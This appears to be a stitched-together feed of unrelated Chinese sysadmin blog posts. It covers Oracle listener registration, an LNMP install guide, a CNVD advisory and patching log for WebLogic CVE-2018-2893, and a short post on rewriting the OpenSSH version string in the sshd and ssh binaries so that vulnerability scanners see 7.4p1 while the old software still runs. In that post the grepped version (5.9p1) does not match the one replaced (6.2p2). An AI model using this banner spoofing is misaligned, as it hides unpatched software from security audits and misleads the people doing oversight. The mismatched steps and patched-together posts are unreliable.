如果init.ora中的instance_name,service_names两个参数没有指定值,那么系统将取默认值,注册到监听器中的实例名将取init.ora文件中的db_name值,服务名将取init.ora文件中的db_name+db_domain值。可以在service_names参数中指定多个服务值,值之间用逗号隔开,这对于共享服务器配置很有用。

演示一:
采用动态注册时,不需要有listener.ora。
(1)首先将listener.ora文件重命名。
  1. [oracle@strong admin]$ mv listener.ora listener.ora.bak  
  2. [oracle@strong admin]$ ls  
  3. listener.ora.bak  samples  shrept.lst  tnsnames.ora  
(2)启动监听器,并查看其状态。
  1. [oracle@strong ~]$ lsnrctl start  
  2.   
  3. LSNRCTL for Linux: Version 11.2.0.4.0 - Production on 06-AUG-2017 01:59:29  
  4.   
  5. Copyright (c) 1991, 2013, Oracle.  All rights reserved.  
  6.   
  7. Starting /u01/app/oracle/product/11.2.0/dbhome_1/bin/tnslsnr: please wait...  
  8.   
  9. TNSLSNR for Linux: Version 11.2.0.4.0 - Production  
  10. Log messages written to /u01/app/oracle/diag/tnslsnr/strong/listener/alert/log.xml  
  11. Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=strong.oracle.com)(PORT=1521)))  
  12.   
  13. Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=)(PORT=1521))  
  14. STATUS of the LISTENER  
  15. ------------------------  
  16. Alias                     LISTENER  
  17. Version                   TNSLSNR for Linux: Version 11.2.0.4.0 - Production  
  18. Start Date                06-AUG-2017 01:59:30  
  19. Uptime                    0 days 0 hr. 0 min. 0 sec  
  20. Trace Level               off  
  21. Security                  ONLocal OS Authentication  
  22. SNMP                      OFF  
  23. Listener Log File         /u01/app/oracle/diag/tnslsnr/strong/listener/alert/log.xml  
  24. Listening Endpoints Summary...  
  25.   (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=strong.oracle.com)(PORT=1521)))  
  26. The listener supports no services  
  27. The command completed successfully  
  28. [oracle@strong ~]$ lsnrctl status  
  29.   
  30. LSNRCTL for Linux: Version 11.2.0.4.0 - Production on 06-AUG-2017 02:00:23  
  31.   
  32. Copyright (c) 1991, 2013, Oracle.  All rights reserved.  
  33.   
  34. Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=)(PORT=1521))  
  35. STATUS of the LISTENER  
  36. ------------------------  
  37. Alias                     LISTENER  
  38. Version                   TNSLSNR for Linux: Version 11.2.0.4.0 - Production  
  39. Start Date                06-AUG-2017 01:59:30  
  40. Uptime                    0 days 0 hr. 0 min. 53 sec  
  41. Trace Level               off  
  42. Security                  ONLocal OS Authentication  
  43. SNMP                      OFF  
  44. Listener Log File         /u01/app/oracle/diag/tnslsnr/strong/listener/alert/log.xml  
  45. Listening Endpoints Summary...  
  46.   (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=strong.oracle.com)(PORT=1521)))  
  47. Services Summary...  
  48. Service "orcl" has 1 instance(s).  
  49.   Instance "orcl", status READY, has 1 handler(s) for this service...  
  50. Service "orclXDB" has 1 instance(s).  
  51.   Instance "orcl", status READY, has 1 handler(s) for this service...  
  52. The command completed successfully  
  53. [oracle@strong ~]$   
说明:Instance状态为READY,说明采用动态注册监听器。

演示二:
如果有listener.ora文件,那么该文件中不能有关于该数据库的静态配置信息,否则将被当做静态注册,如下:
(1)恢复listener.ora文件。
  1. [oracle@strong admin]$ mv listener.ora.bak listener.ora  
(2)启动监听器并查看其状态。
  1. [oracle@strong ~]$ lsnrctl status  
  2.   
  3. LSNRCTL for Linux: Version 11.2.0.4.0 - Production on 06-AUG-2017 02:07:15  
  4.   
  5. Copyright (c) 1991, 2013, Oracle.  All rights reserved.  
  6.   
  7. Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=strong.oracle.com)(PORT=1521)))  
  8. STATUS of the LISTENER  
  9. ------------------------  
  10. Alias                     LISTENER  
  11. Version                   TNSLSNR for Linux: Version 11.2.0.4.0 - Production  
  12. Start Date                06-AUG-2017 02:06:28  
  13. Uptime                    0 days 0 hr. 0 min. 47 sec  
  14. Trace Level               off  
  15. Security                  ONLocal OS Authentication  
  16. SNMP                      OFF  
  17. Listener Parameter File   /u01/app/oracle/product/11.2.0/dbhome_1/network/admin/listener.ora  
  18. Listener Log File         /u01/app/oracle/diag/tnslsnr/strong/listener/alert/log.xml  
  19. Listening Endpoints Summary...  
  20.   (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=strong.oracle.com)(PORT=1521)))  
  21. Services Summary...  
  22. Service "orcl" has 2 instance(s).  
  23.   Instance "orcl", status UNKNOWN, has 1 handler(s) for this service...  
  24.   Instance "orcl", status READY, has 1 handler(s) for this service...  
  25. Service "orclXDB" has 1 instance(s).  
  26.   Instance "orcl", status READY, has 1 handler(s) for this service...  
  27. The command completed successfully  
说明:Instance状态为UNKNOWN,说明采用静态注册监听器。

动态注册默认只注册到默认的监听器上(名称为LISTENER,端口为1521,协议为TCP),因为PMON只会动态注册端口为1521的监听,否则不能动态注册,如果使用非默认端口注册,则需要配置local_listener参数。

演示三:
更改监听器端口为1522,则显示为只有静态注册,如下:
  1. [oracle@strong ~]$ lsnrctl status  
  2.   
  3. LSNRCTL for Linux: Version 11.2.0.4.0 - Production on 06-AUG-2017 03:13:36  
  4.   
  5. Copyright (c) 1991, 2013, Oracle.  All rights reserved.  
  6.   
  7. Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=strong.oracle.com)(PORT=1522)))  
  8. STATUS of the LISTENER  
  9. ------------------------  
  10. Alias                     LISTENER  
  11. Version                   TNSLSNR for Linux: Version 11.2.0.4.0 - Production  
  12. Start Date                06-AUG-2017 03:07:19  
  13. Uptime                    0 days 0 hr. 6 min. 16 sec  
  14. Trace Level               off  
  15. Security                  ONLocal OS Authentication  
  16. SNMP                      OFF  
  17. Listener Parameter File   /u01/app/oracle/product/11.2.0/dbhome_1/network/admin/listener.ora  
  18. Listener Log File         /u01/app/oracle/diag/tnslsnr/strong/listener/alert/log.xml  
  19. Listening Endpoints Summary...  
  20.   (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=strong.oracle.com)(PORT=1522)))  
  21. Services Summary...  
  22. Service "orcl" has 1 instance(s).  
  23.   Instance "orcl", status UNKNOWN, has 1 handler(s) for this service...  
  24. The command completed successfully  
说明:Instance状态为UNKNOWN,说明采用静态注册监听器。

演示四:
端口为非默认端口时,注册动态监听需要配置local_listener参数。
  1. SQL> alter system set LOCAL_LISTENER='(ADDRESS = (PROTOCOL = TCP)(HOST = strong.oracle.com)(PORT = 1522))';  
  2.   
  3. System altered.  
  4.   
  5. SQL> alter system register;  
  6.   
  7. System altered.  
  8.   
  9. SQL> show parameter local_listener  
  10.   
  11. NAME                     TYPE    VALUE  
  12. ------------------------------------ ----------- ------------------------------  
  13. local_listener               string  (ADDRESS = (PROTOCOL = TCP)(HO  
  14.                          ST = strong.oracle.com)(PORT =  
  15.                           1522))  
三 静态注册

静态注册是实例启动时读取linstener.ora文件的配置,将实例和服务注册到监听程序,默认读取数据库服务器对应的实例名和服务名。
静态注册时,listener.ora中的GLOBAL_DBNAME向外提供服务名,SID_NAME提供注册的实例名。静态注册的linstener.ora文件内容如下:
  1. SID_LIST_LISTENER =  
  2.   (SID_LIST =  
  3.     (SID_DESC =  
  4.       (GLOBAL_DBNAME = orcl)  
  5.       (ORACLE_HOME = /u01/app/oracle/product/11.2.0/dbhome_1)  
  6.       (SID_NAME = orcl)  
  7.     )  
  8.   )  
  9.   
  10. LISTENER =  
  11.   (DESCRIPTION =  
  12.     (ADDRESS = (PROTOCOL = TCP)(HOST = strong.oracle.com)(PORT = 1521))  
  13.   )  
  14.   
  15. ADR_BASE_LISTENER = /u01/app/oracle  
根据上述内容,GLOBAL_DBNAME对应的时Oracle对外的服务名,即初始化参数里的service_names,SID_NAME对应的是初始化参数里的instance_name。
综上静态注册和动态注册,Instance状态为UNKNOWN时表明此服务是静态注册,此时监听器用来表明它不知道关于该实例的任何消息,只有当客户发出连接请求时,它才检查该实例是否存在。
动态注册的Instance状态为READY,关闭数据库时,动态注册的数据库都会动态从监听器中注销,而与之相关的信息姜葱状态列表消失。

修改openssh版本信息,应对漏洞扫瞄

$
0
0

修改openssh版本信息


/////备份sshd
#cp /usr/sbin/sshd /usr/sbin/sshd.bak.20171116

////搜索版本信息
#strings  /usr/sbin/sshd | grep OpenSSH
OpenSSH_5.9p1
OpenSSH_5.9
OpenSSH_2.3.0*
OpenSSH_2.3.*
OpenSSH_2.5.3*
OpenSSH_3.*
OpenSSH_4*
OpenSSH*
OpenSSH-2.0*,OpenSSH-2.1*,OpenSSH_2.1*,OpenSSH_2.2*
OpenSSH_2.5.0p1*,OpenSSH_2.5.1p1*
OpenSSH_2.5.0*,OpenSSH_2.5.1*,OpenSSH_2.5.2*
OpenSSH_2.*,OpenSSH_3.0*,OpenSSH_3.1*


////替换版本信息

NFAServer:~ # sed -i 's/OpenSSH_6.2p2/OpenSSH_7.4p1/g' /usr/sbin/sshd

NFAServer:~ # sed -i 's/OpenSSH_6.2/OpenSSH_7.4/g' /usr/sbin/sshd

NFAServer:~ #

NFAServer:~ # cp -p /usr/bin/ssh /usr/bin/ssh.unsafe

NFAServer:~ # sed -i 's/OpenSSH_6.2p2/OpenSSH_7.4p1/g' /usr/bin/ssh

NFAServer:~ # sed -i 's/OpenSSH_6.2/OpenSSH_7.4/g' /usr/bin/ssh

NFAServer:~ #

NFAServer:~ # /etc/init.d/sshd restart

NFAServer:~ # ssh -V

OpenSSH_7.4p1, OpenSSL 0.9.8j-fips 07 Jan 2009




LNMP架构介绍;12.2 MySQL安装;12.3 PHP安装(上);12.4 PHP安装(下);12.5 Nginx介绍

$
0
0

扩展:

Nginx为什么比Apache Httpd高效:原理篇 http://www.toxingwang.com/linux-unix/linux-basic/1712.html

apache和nginx工作原理比较 http://www.server110.com/nginx/201402/6543.html

mod_php 和 mod_fastcgi以及php-fpm的比较 http://dwz.cn/1lwMSd

概念了解:CGI,FastCGI,PHP-CGI与PHP-FPMhttp://www.nowamagic.net/librarys/veda/detail/1319/


12.1 LNMP架构介绍


1和LAMP不同的是,提供web服务的是Nginx

2 并且php是作为一个独立服务存在的,这个服务叫做php-fpm

3 Nginx直接处理静态请求,动态请求会转发给php-fpmwKiom1mKsJXQmz8fAABvHeMzlV4123.png

spacer.gif



12.2 MySQL安装


删除之前安装的mysql

1. 查看之前安装mysql是否开启:

[root@hao-01 ~]# ps aux |grep mysql


2. 关闭之前安装的mysql服务:

[root@hao-01 ~]# service mysqld stop


3. 删除之前安装的mysql目录:

[root@hao-01 ~]# rm -rf /usr/local/mysql


4. 删除之前安装的mysql启动脚本:

[root@hao-01 ~]# rm -rf /etc/init.d/mysqld


5. 删除之前安装的mysql目录:

[root@hao-01 ~]# rm -rf /data/mysql


安装mysql

安装下载工具: yum -y install wget


1. 进入下载安装包目录:

[root@hao-01 ~]# cd /usr/local/src/


2. 下载mysql安装包

[root@hao-01 src]# wget http://mirrors.sohu.com/mysql/MySQL-5.6/mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz


3. 解包解压mysql包:

[root@hao-01 src]# tar zxvf mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz


4. 解压的mysql包,移动到/usr/local/目录下,并重命名为mysql目录:

((注意:/usr/local/目录下,不能已经存在mysql目录,

如果存在,再用mv移动,会放在已存的mysql目录下面,而不会覆盖!!!))

[root@hao-01 src]# mv mysql-5.6.35-linux-glibc2.5-x86_64 /usr/local/mysql


5. 列出mysql目录下所有文件目录(检查是否和下图一样):

[root@hao-01 local]# ls /usr/local/mysqlwKioL1mKsK_jYFOmAAAUh10lNVk390.png

spacer.gif


6. 进入mysql目录下:

[root@hao-01 src]# cd /usr/local/mysql


7. 创建mysql用户:

[root@hao-01 mysql]# useradd mysql


8. 根目录下,创建data目录:

(注意:如果根目录下已存在data目录,一定要把data里的mysql目录先删除!!!)

[root@hao-01 mysql]# mkdir /data/


9. 安装依赖包:

[root@hao-01 mysql]# yum install -y perl-Data-Dumper

[root@hao-01 mysql]# yum install -y libaio 


10. mysql目录下初始化(mysql所需要的目录,会自动生成;指定用户为mysql,指定数据库目录为/data/mysql):

[root@hao-01 mysql]# ./scripts/mysql_install_db --user=mysql --datadir=/data/mysql


11. 检验上一条命令执行是否有错?(数值0为没问题):

[root@hao-01 mysql]# echo $?


12. 编辑my.cnf配置文件:

[root@hao-01 mysql]# vim /etc/my.cnf

更改内容(图片中三行用#号暂时注释掉):

datadir=/data/mysql

socket=/tmp/mysql.sockwKiom1mKsMjgSkvBAABcCco3WuU357.png

spacer.gif


13. 拷贝mysql.server配置文件,并改名mysqld

[root@hao-01 mysql]# cp support-files/mysql.server /etc/init.d/mysqld


14. 编辑mysqld配置文件:

[root@hao-01 mysql]# vim /etc/init.d/mysqld

更改内容(定义basedir和datadir)

basedir=/usr/local/mysql

datadir=/data/mysqlwKiom1mKsOuw4sROAAAdeuCC0Cc702.png

spacer.gif


15. 启动mysqld服务:

[root@hao-01 mysql]# /etc/init.d/mysqld start


16. mysqld服务加入到服务列表里面

[root@hao-01 mysql]# chkconfig --add mysqld


17. 设置mysqld服务加入开机启动项

[root@hao-01 mysql]# chkconfig mysqld on


18. 搜索mysql进程,查看是否启动?

[root@hao-01 mysql]# ps aux |grep mysql


19. 查看mysql对应的端口号(3306)

[root@hao-01 mysql]# netstat -lntp


20. 关闭mysqld服务:

[root@hao-01 mysql]# service mysqld stop


12.3 PHP安装(上)12.4 PHP安装(下)


1. 进入下载安装包目录:

[root@hao-01 ~]# cd /usr/local/src/


2. 下载php-5.6.30版本安装包

[root@hao-01 src]# wget http://cn2.php.net/distributions/php-5.6.30.tar.gz

3. 解包解压php安装包

[root@hao-01 src]# tar zxf php-5.6.30.tar.gz


4. 进入php目录下:

[root@hao-01 src]# cd php-5.6.30

5. 如果之前编译过php-5.6.30包,进入这个包下解除删除之前的编译

[root@hao-01 php-5.6.30]# make cleanwKioL1mKsQaCvESTAAAz8dCuvEk378.png

spacer.gif


6. 编译

[root@hao-01 php-5.6.30]# ./configure --prefix=/usr/local/php-fpm --with-config-file-path=/usr/local/php-fpm/etc --enable-fpm --with-fpm-user=php-fpm --with-fpm-group=php-fpm --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-pdo-mysql=/usr/local/mysql --with-mysql-sock=/tmp/mysql.sock --with-libxml-dir --with-gd --with-jpeg-dir --with-png-dir --with-freetype-dir --with-iconv-dir --with-zlib-dir --with-mcrypt --enable-soap --enable-gd-native-ttf --enable-ftp --enable-mbstring --enable-exif --with-pear --with-curl --with-openssl


7. 检验上一条命令执行是否有错?(数值0为没问题):

[root@hao-01 mariadb]# echo $?


8. 安装依赖包:

(编译php需要以下依赖包,编译后如图错误:安装对应依赖包后,再次编译!)


[root@hao-01 php-5.6.30]# yum install -y gcc

wKioL1mLCOXhGfRVAAAMT2N3FzI675.png


[root@hao-01 php-5.6.30]# yum install -y libxml2-develwKiom1mKsR_QvAPkAAAc1R3Ozec623.png

spacer.gif

[root@hao-01 php-5.6.30]# yum install -y openssl-develwKiom1mKs5LR47WOAAAYJA0M0Sg550.png

spacer.gif

[root@hao-01 php-5.6.30]# yum install -y bzip2-develwKioL1mKs7XykgMZAAAahiBH9OU339.png

spacer.gif

[root@hao-01 php-5.6.30]# yum install -y libjpeg-develwKioL1mKs8fzJTNPAAAak7pjFM4516.png

spacer.gif

[root@hao-01 php-5.6.30]# yum install -y libpng-develwKiom1mKu4yh-9_IAAAY5qq3ccs787.png

spacer.gif

[root@hao-01 php-5.6.30]# yum install -y freetype-develwKioL1mKu6OAu75TAAAVRD_Y_JI259.png

spacer.gif

[root@hao-01 php-5.6.30]# yum install -y epel-release && yum install -y libmcrypt-develwKioL1mKu8Lhmi5iAAAUXov-54k716.png

spacer.gif

[root@hao-01 php-5.6.30]# yum install -y libcurl-develwKiom1mKu9uBSb_hAAAbm4S5WeA589.png

spacer.gif

9. 继续编译

[root@hao-01 php-5.6.30]# ./configure --prefix=/usr/local/php-fpm --with-config-file-path=/usr/local/php-fpm/etc --enable-fpm --with-fpm-user=php-fpm --with-fpm-group=php-fpm --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-pdo-mysql=/usr/local/mysql --with-mysql-sock=/tmp/mysql.sock --with-libxml-dir --with-gd --with-jpeg-dir --with-png-dir --with-freetype-dir --with-iconv-dir --with-zlib-dir --with-mcrypt --enable-soap --enable-gd-native-ttf --enable-ftp --enable-mbstring --enable-exif --with-pear --with-curl --with-opensslwKioL1mKu_KC2DADAAB5qTDHFPQ240.png

spacer.gif


10. 检验上一条命令执行是否有错?(数值0为没问题):

[root@hao-01 mariadb]# echo $?


11. make和make install执行:

[root@hao-01 php-5.6.30]# make && make install wKiom1mKvAygnxjBAAAzQ88yT38500.png

spacer.gif


12. 拷贝当前目录下php.iniproduction,并重命名

[root@hao-01 php-5.6.30]# cp php.ini-production /usr/local/php-fpm/etc/php-ini


13. 在/usr/local/php-fpm/etc/目录下,创建php-fpm.conf文件,并写入内容

[root@hao-01 etc]# vim /usr/local/php-fpm/etc/php-fpm.conf

添加内容如下:

[global]
pid = /usr/local/php-fpm/var/run/php-fpm.pid
error_log = /usr/local/php-fpm/var/log/php-fpm.log
[www]
listen = /tmp/php-fcgi.sock
listen.mode = 666
user = php-fpm
group = php-fpm
pm = dynamic
pm.max_children = 50
pm.start_servers = 20
pm.min_spare_servers = 5
pm.max_spare_servers = 35
pm.max_requests = 500
rlimit_files = 1024

如图格式:wKiom1mKvCixkhLNAAA4aH7NqpI254.png

spacer.gif


14. 拷贝当前目录sapi下的fpm/init.d.php-fpm(启动脚本),并重命名:

[root@hao-01 php-5.6.30]# cp sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm


15. php-fpm(启动脚本) 设定755权限

[root@hao-01 php-5.6.30]# chmod 755 /etc/init.d/php-fpm


16. 添加php-fpm服务 到服务列表

[root@hao-01 php-5.6.30]# chkconfig --add php-fpm


17. 设定 php-fpm服务 开机启动

[root@hao-01 php-5.6.30]# chkconfig php-fpm on


18. 创建php-fpm用户

[root@hao-01 php-5.6.30]# useradd php-fpm


19. 检测php-fpm配置文件是否有错?

[root@hao-01 php-5.6.30]# /usr/local/php-fpm/sbin/php-fpm -t


20. 启动php-fpm服务:

[root@hao-01 php-5.6.30]# service php-fpm start


21. 搜索php-fpm服务是否启动?

[root@hao-01 php-5.6.30]# ps aux |grep php-fpm


12.5 Nginx介绍


1 Nginx官网 nginx.org,最新版1.13,最新稳定版1.12

2 Nginx应用场景:web服务、反向代理(代理一台)、负载均衡(代理两台)

3 Nginx著名分支,淘宝基于Nginx开发的Tengine,使用上和Nginx一致,服务名,配置文件名都一样,和Nginx的最大区别在于Tenging增加了一些定制化模块,在安全限速方面表现突出,另外它支持对js,css合并

4 Nginx核心+lua相关的组件和模块组成了一个支持lua的高性能web容器openresty,参考http://jinnianshilongnian.iteye.com/blog/2280928      

Oracle WebLogic Server反序列化远程代码执行漏洞CNVD-2018-13334,对应CVE-2018-2893

$
0
0

关于Oracle WebLogic Server存在反序列化远程代码执行漏洞的安全公告


安全公告编号:CNTA-2018-0022

2018年7月18日,国家信息安全漏洞共享平台(CNVD)收录了Oracle WebLogic Server反序列化远程代码执行漏洞(CNVD-2018-13334,对应CVE-2018-2893)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前厂商已发布补丁进行修复。

一、漏洞情况分析

WebLogicServer是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信,JRMP协议是专为Java的远程对象制定的协议。在WebLogic Server的 RMI(远程方法调用)通信中,T3协议(丰富套接字)用来在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据,该协议在开放WebLogic控制台端口的应用上默认开启。由于在WebLogic中,T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议,将payload发送至目标服务器。

北京时间7月18日凌晨,Oracle官方发布了7月份关键补丁更新CPU(Critical Patch Update),其中修复了一个在4月份CPU补丁中未能完全修复的WeblogicServer反序列化漏洞(CNVD-2018-07811,CVE-2018-2628)。该漏洞通过JRMP协议利用RMI机制的缺陷达到执行任意反序列化代码的目的。攻击者可以在未授权的情况下将payload封装在T3协议中,通过对T3协议中的payload进行反序列化,从而实现对存在漏洞的WebLogic组件进行远程攻击,执行任意代码并可获取目标系统的所有权限。

CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

根据官方公告情况,该漏洞的影响版本如下:

WebLogic 10.3.6.0

WebLogic 12.1.3.0

WebLogic 12.2.1.2

WebLogic 12.2.1.3

CNVD秘书处对WebLogic服务在全球范围内的分布情况进行了统计,结果显示该服务的全球规模约为6.9万,其中我国境内的用户量约为2.15万。随机抽样检测结果显示,约0.4%的WebLogic服务器受此漏洞影响。该比例远低于我平台在4月18日收录的WebLogic Server反序列化漏洞(CNVD-2018-07811)的影响范围。

三、漏洞处置建议

1、美国甲骨文公司已发布了修复补丁,建议及时更新至最新版本:http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html

2、临时解决方案:控制T3协议的访问


(通过临时方案的去做的话,设置好后,会出现无法启动weblogic的情况。127.0.0.1 改成自己所在网段即可,最后要重启服务。如出现application不能启动,则要重新部署)


此漏洞产生于WebLogic的T3服务,因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口(默认为7001端口)时,T3服务会默认开启。

具体操作:

(1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

(2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * *deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。

(3)保存后需重新启动,规则方可生效。

3、升级到 jdk-8u20以上的版本。

 

附:参考链接:

http://www.cnvd.org.cn/flaw/show/CNVD-2018-13334

http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html

Oracle Weblogic 反序列化漏洞 (CVE-2018-2893 )的补丁升级操作

$
0
0

Oracle官方发布了7月份的关键补丁更新 CPU(CriticalPatchUpdate ),其中包含一个高危的 Weblogic 反序列化漏洞 (CVE-2018-2893 ),

该漏洞通过JRMP协议利用RMI机制的缺陷达到执行任意反序列化代码的目。 攻击者可以在未授权情况下将 payload 封装在T3协议中,

通过对T3协议中的 payload 进行反序列化,从而实现对存在漏洞的 进行反序列化,从而实现对存在漏洞的WebLogic组件进行远程攻击,

执行任意代码并可获取目标系统的所有权限。受影响的颁布为Oracle WebLogicServer 10.3.6.0,Oracle WebLogicServer 12.1.3.0,

Oracle WebLogicServer 12.2.1.2,Oracle WebLogicServer 12.2.1.3

Oracle目前已经发布了升级补丁可参考链接"Critical Patch Update (CPU) Program July 2018 Patch Availability Document (PAD) (Doc ID 2394520.1)"

我们的生产环境WebLogic主要是两个版本10.3.6.0与12.1.3.0。下面是具体操作
对于10.3.6.0版本需要执行bsh.sh脚本来进行补丁安装
1.首先下载补丁包p27919965_1036_Generic.zip

2.将补丁包p27919965_1036_Generic.zip上传到{MW_HOME}/utils/bsu/cache_dir 其中MW_HOME是Weblogic的BASE目录,类似于Oracle BASE目录

3.将补丁包27919965_1036_Generic.zip解压

[root@app1 cache_dir]# unzip p27919965_1036_Generic.zip
Archive:  p27919965_1036_Generic.zip
 extracting: B47X.jar                
  inflating: patch-catalog_26112.xml  
  inflating: README.txt

4.执行安装命令(bsu.sh -install -patch_download_dir={MW_HOME}/utils/bsu/cache_dir -patchlist={PATCH_ID} -prod_dir={MW_HOME}/{WL_HOME}) 其中WL_HOME是WebLogic home目录

root@app1 bsu]# ./bsu.sh -install -patch_download_dir=/wls11g/utils/bsu/cache_dir -patchlist=B47X -prod_dir=/wls11g/wlserver_10.3
Checking for conflicts...............
No conflict(s) detected
Installing Patch ID: B47X..
Result: Success

5.检查补丁包是否安装成功

[root@app1 bsu]# ./bsu.sh -prod_dir=/wls11g/wlserver_10.3 -status=applied -verbose -view 
ProductName:       WebLogic Server
ProductVersion:    10.3 MP6
Components:        WebLogic Server/Core Application Server,WebLogic Server/Admi
                   nistration Console,WebLogic Server/Configuration Wizard and 
                   Upgrade Framework,WebLogic Server/Web 2.0 HTTP Pub-Sub Serve
                   r,WebLogic Server/WebLogic SCA,WebLogic Server/WebLogic JDBC
                    Drivers,WebLogic Server/Third Party JDBC Drivers,WebLogic S
                   erver/WebLogic Server Clients,WebLogic Server/WebLogic Web S
                   erver Plugins,WebLogic Server/UDDI and Xquery Support,WebLog
                   ic Server/Evaluation Database,WebLogic Server/Workshop Code 
                   Completion Support
BEAHome:           /wls11g
ProductHome:       /wls11g/wlserver_10.3
PatchSystemDir:    /wls11g/utils/bsu
PatchDir:          /wls11g/patch_wls1036
Profile:           Default
DownloadDir:       /wls11g/utils/bsu/cache_dir
JavaVersion:       1.6.0_29
JavaVendor:        Sun
Patch ID:          B47X
PatchContainer:    B47X.jar
Checksum:          -345780037
Severity:          optional
Category:          General
CR/BUG:            27919965
Restart:           true
Description:       WLS PATCH SET UPDATE 10.3.6.0.180717
WLS PATCH SET UPDATE 10
                   .3.6.0.180717

6.重启WebLogic

[root@app1 bsu]# service weblogic restart
Stopping weblogic: weblogic is not running.
Starting weblogic: 
[root@app1 bsu]# .
JAVA Memory arguments: -Xms4096m -Xmx4096m  -XX:MaxPermSize=1024m
.
WLS Start Mode=Production
.
CLASSPATH=/wls11g/patch_wls1036/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/wls11g/patch_ocp371/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/usr/lib/jvm/java-
1.6.0-openjdk-
1.6.0.0.x86_64/lib/tools.jar:/wls11g/wlserver_10.3/server/lib/weblogic_sp.jar:/wls11g/wlserver_10.3/server/lib/weblogic.jar:/wls11g/modules/features/weblogic.server.modules_10.3.6.0.jar:/wl
s11g/wlserver_10.3/server/lib/webservices.jar:/wls11g/modules/org.apache.ant_1.7.1/lib/ant-all.jar:/wls11g/modules/net.sf.antcontrib_1.1.0.0_1-0b2/lib/ant-
contrib.jar:/wls11g/wlserver_10.3/common/derby/lib/derbyclient.jar:/wls11g/wlserver_10.3/server/lib/xqrl.jar:.:/weblogic11_64/jdk1.6.0_20/lib/dt.jar:/weblogic11_64/jdk1.6.0_20/lib/tools.jar
.
PATH=/wls11g/wlserver_10.3/server/bin:/wls11g/modules/org.apache.ant_1.7.1/bin:/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/jre/bin:/usr/lib/jvm/java-1.6.0-openjdk-
1.6.0.0.x86_64/bin:/weblogic11_64/jdk1.6.0_20/bin:/usr/lib64/qt-3.3/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
.
***************************************************
*  To start WebLogic Server, use a username and   *
*  password assigned to an admin-level user.  For *
*  server administration, use the WebLogic Server *
*  console at http://hostname:port/console        *
***************************************************
starting weblogic with Java version:
java version "1.6.0"
OpenJDK  Runtime Environment (build 1.6.0-b09)
OpenJDK 64-Bit Server VM (build 1.6.0-b09, mixed mode)
Starting WLS with line:
/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/bin/java -server   -Xms4096m -Xmx4096m  -XX:MaxPermSize=1024m -Dweblogic.Name=AdminServer -
Djava.security.policy=/wls11g/wlserver_10.3/server/lib/weblogic.policy  -Dweblogic.ProductionModeEnabled=true   -da -Dplatform.home=/wls11g/wlserver_10.3 -
Dwls.home=/wls11g/wlserver_10.3/server -Dweblogic.home=/wls11g/wlserver_10.3/server   -Dweblogic.management.discover=true  -Dwlw.iterativeDev=false -Dwlw.testConsole=false -
Dwlw.logErrorsToConsole=false -Dweblogic.ext.dirs=/wls11g/patch_wls1036/profiles/default/sysext_manifest_classpath:/wls11g/patch_ocp371/profiles/default/sysext_manifest_classpath -
Dplatform.home=/wls11g/wlserver_10.3 -Dwls.home=/wls11g/wlserver_10.3/server -Dweblogic.home=/wls11g/wlserver_10.3/server   -Dweblogic.management.discover=true  -verbose:gc -XX:
+PrintGCTimeStamps  -XX:+HeapDumpOnOutOfMemoryError  -XX:+PrintGCDetails -XX:+PrintGC -Xloggc:gc.log  -Dwlw.iterativeDev=false -Dwlw.testConsole=false -Dwlw.logErrorsToConsole=false  
weblogic.Server
<Jul 19, 2018 4:20:09 PM CST> <Info> <Security> <BEA-090905> <Disabling CryptoJ JCE Provider self-integrity check for better startup performance. To enable this check, specify -
Dweblogic.security.allowCryptoJDefaultJCEVerification=true> 
<Jul 19, 2018 4:20:09 PM CST> <Info> <Security> <BEA-090906> <Changing the default Random Number Generator in RSA CryptoJ from ECDRBG to FIPS186PRNG. To disable this change, specify -
Dweblogic.security.allowCryptoJDefaultPRNG=true>

执行重启命令后,weblogic进行自动终止,并且没有生成任何日志与错误信息,如是我选择删除该补丁

7.删除补丁

root@app1 bsu]# ./bsu.sh -remove -patchlist=B47X -prod_dir=/wls11g/wlserver_10.3
Checking for conflicts..............
No conflict(s) detected
Removing Patch ID: B47X..
Result: Success

8.重启WebLogic恢复正常

[root@app1 bsu]# service weblogic restart
Stopping weblogic: weblogic is not running.
Starting weblogic: 
[root@app1 bsu]# .
.
JAVA Memory arguments: -Xms4096m -Xmx4096m  -XX:MaxPermSize=256m
.
WLS Start Mode=Production
.
